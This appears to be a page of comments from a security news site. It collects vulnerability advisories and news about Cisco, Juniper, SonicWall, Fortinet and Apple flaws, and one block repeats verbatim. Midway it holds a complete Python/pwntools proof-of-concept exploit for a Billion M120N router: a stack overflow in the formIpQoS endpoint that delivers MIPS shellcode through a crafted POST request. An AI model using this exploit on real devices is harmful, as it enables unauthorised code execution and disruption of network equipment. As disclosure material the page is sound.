Recent comments

Log in or create an account to share your comment.

French cybersecurity company Sekoia observed the unknown threat actors deploying a backdoor by leveraging CVE-2023-20118 (CVSS score: 6.5), a critical security flaw impacting Cisco Small Business RV016, RV042, RV042G, RV082, RV320, and RV325 Routers that could result in arbitrary command execution on susceptible devices.

CVE-2023-20118 is leading to a webshell installation.

Executive Summary

This report updates the findings on CVE-2025-24085, a use-after-free vulnerability affecting Apple's IDS subsystem and iMessage's BlastDoor sandboxing. Findings (As of February 20, 2025)

iOS 18.3.1 remains vulnerable despite Apple's February 19, 2025, mitigation deadline.
BlastDoor is bypassed, enabling unsandboxed iMessage processing.
Privilege escalation attempts detected, suggesting a possible kernel exploit.
Unauthorized decryption and authentication tampering observed, raising concerns about iMessage interception and data exposure.

The exploit remains active in the wild, requiring immediate action.

https://github.com/orgs/community/discussions/152523

This issue affects Session Smart Router, Session Smart Conductor, WAN Assurance Managed Router. Severity Critical Severity Assessment (CVSS) Score

CVSS: v3.1: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) SEVERITY:CRITICAL CVSS: v4.0: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) SEVERITY:CRITICAL Problem

An Authentication Bypass Using an Alternate Path or Channel vulnerability in Juniper Networks Session Smart Router may allow a network-based attacker to bypass authentication and take administrative control of the device.

This issue affects Session Smart Router:

from 5.6.7 before 5.6.17, 
from 6.0.8,
from 6.1 before 6.1.12-lts, 
from 6.2 before 6.2.8-lts, 
from 6.3 before 6.3.3-r2;

This issue affects Session Smart Conductor:

from 5.6.7 before 5.6.17, 
from 6.0.8,
from 6.1 before 6.1.12-lts, 
from 6.2 before 6.2.8-lts, 
from 6.3 before 6.3.3-r2;

This issue affects WAN Assurance Managed Routers:

from 5.6.7 before 5.6.17, 
from 6.0.8,
from 6.1 before 6.1.12-lts, 
from 6.2 before 6.2.8-lts, 
from 6.3 before 6.3.3-r2.

Juniper SIRT is not aware of any malicious exploitation of this vulnerability. This issue was found during internal product security testing or research Solution

The following software releases have been updated to resolve this issue:

Session Smart Router: SSR-5.6.17, SSR-6.1.12-lts, SSR-6.2.8-lts, SSR-6.3.3-r2 and subsequent releases.

It is suggested to upgrade all affected systems to one of these versions of software. In a Conductor-managed deployment, it is sufficient to upgrade only the Conductor nodes and the fix will be applied automatically to all connected routers. As practical, the routers should still be upgraded to a fixed version however they will not be vulnerable once they connect to an upgraded Conductor. Router patching can be confirmed once the router reaches the “running" (on 6.2 and earlier) or “synchronized” (on 6.3+) state on the Conductor".

This vulnerability has been patched automatically on devices that operate with WAN Assurance (where configuration is also managed) connected to the Mist Cloud. As practical, the routers should still be upgraded to a version containing the fix.

It is important to note that when the fix is applied automatically on routers managed by a Conductor or on WAN assurance, it will have no impact on data-plane functions of the router. The application of the fix is non-disruptive to production traffic. There may be a momentary downtime (less than 30 seconds) to the web-based management and APIs.

This issue is being tracked as I95-59677.

Note: Juniper SIRT's policy is not to evaluate releases which are beyond End of Engineering (EOE) or End of Life (EOL). Workaround

There are no known workarounds for this issue. Severity Assessment Information for how Juniper Networks uses CVSS can be found at KB 16446 "Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories." Modification History

2024-02-11: Initial Publication

Related Information

KB16613: Overview of the Juniper Networks SIRT Quarterly Security Bulletin Publication Process
KB16765: In which releases are vulnerabilities fixed?
KB16446: Common Vulnerability Scoring System (CVSS) and Juniper's Security Advisories
Report a Security Vulnerability - How to Contact the Juniper Networks Security Incident Response Team

Restricted Views backed objects (OSV1) could be bypassed under specific circumstances due to a software bug, this could have allowed users that didn't have permission to see such objects to view them via Object Explorer directly. The affected service have been patched and automatically deployed to all Apollo-managed Foundry instances.

Threat actors started exploiting a recent SonicWall firewall vulnerability this week, shortly after proof-of-concept (PoC) code targeting it was published.

According to Bishop Fox, approximately 4,500 internet-facing SonicWall SSL VPN servers had not been patched against CVE-2024-53704 by February 7.

UPDATE: Fortinet has informed us that the new CVE-2025-24472 flaw added to FG-IR-24-535 today is not a zero-day and was already fixed in January, but not disclosed then.

Furthermore, even though the current advisory states that the listed flaws were exploited in attacks and includes workarounds, Fortinet says that only CVE-2024-55591, and not CVE-2025-24472.

It appears that this new CVE is for a different pathway to exploiting the bug that was not previously disclosed and was just now added to the Fortinet advisory about the active exploitation of CVE-2024-55591, causing the confusion.

We have updated this previous toot, changed the title of our article, and added an update to prevent confusion.

Ref: https://infosec.exchange/@BleepingComputer/113986777248862223

UPDATE: Fortinet has informed us that the new CVE-2025-24472 flaw added to FG-IR-24-535 today is not a zero-day and was already fixed in January, but not disclosed then.

Furthermore, even though the current advisory states that the listed flaws were exploited in attacks and includes workarounds, Fortinet says that only CVE-2024-55591, and not CVE-2025-24472.

It appears that this new CVE is for a different pathway to exploiting the bug that was not previously disclosed and was just now added to the Fortinet advisory about the active exploitation of CVE-2024-55591, causing the confusion.

We have updated this previous toot, changed the title of our article, and added an update to prevent confusion.

Ref: https://infosec.exchange/@BleepingComputer/113986777248862223

The M120N Advanced Industrial/In-Vehicle LTE Router is a high performance all-in-one fixed/mobile wireless communications platform with advanced software enabling high availability, reliable and secure connectivity for mission critical applications. The compact, rugged design integrates dual SIMs, four-port Gigabit Switch, Wi-Fi Access Point, embedded multi-GNSS receiver for GPS or GLONASS, and ignition sensing for in-vehicle applications. The M120N is specifically designed to support a wide range of applications in Smart Bus and M2M segments.

Source: https://www.billion.com/Product/communication/M2M-Series/m120n

from pwn import *  
from hackebds import *  


def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  

    cmd = "/bin/sh"  
    args = ["autoreboot"]  

    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  


power_off_code = shutdown_shell_code()  

gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  

print("power_off_code_length")  
print(len(power_off_code))  

final_code = power_off_code + gap_code + RET_address + stack_gap  

import socket  
import ssl  

# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  

# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  

with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)

        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  

        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  

        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  

        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  

            #Print response  
        print(response.decode('utf-8'))

We've provided these PoCs to demonstrate that this vulnerability allows an adversary to produce arbitrary microcode patches. They cause the RDRAND instruction to always return the constant 4, but also set the carry flag (CF) to 0 to indicate that the returned value is invalid. Because correct use of the RDRAND instruction requires checking that CF is 1, this PoC can not be used to compromise correctly functioning confidential computing workloads. Additional tools and resources will be made public on March 5.

displaying 41 - 50 comments in total 106